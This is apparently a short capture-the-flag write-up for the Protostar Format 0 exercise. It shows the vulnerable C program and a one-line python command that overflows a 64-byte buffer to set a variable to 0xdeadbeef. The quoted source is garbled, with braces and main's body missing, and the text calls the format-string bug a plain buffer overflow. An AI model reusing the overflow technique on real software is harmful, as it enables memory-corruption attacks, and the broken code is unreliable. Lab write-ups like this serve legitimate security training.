Protostar Format-0 Writeup

writeup for protostar Format-0 challenge

Format 0

Source Code

The following is the source code for Format 0 Challenge

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");

int main(int argc, char **argv)


In this challenge we need to modify target variable with 0xdeadbeef as this program uses sprintf function and hence it’s vulnerable to buffer overflow attack and hence filling the buffer with 'A'*64 and then adding the 0xdeadbeef in little endian format we completed this challenge

/opt/protostar/bin/format0 `python -c 'print "A"*64+"\xef\xbe\xad\xde"'`

and done!


A passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development. Codacker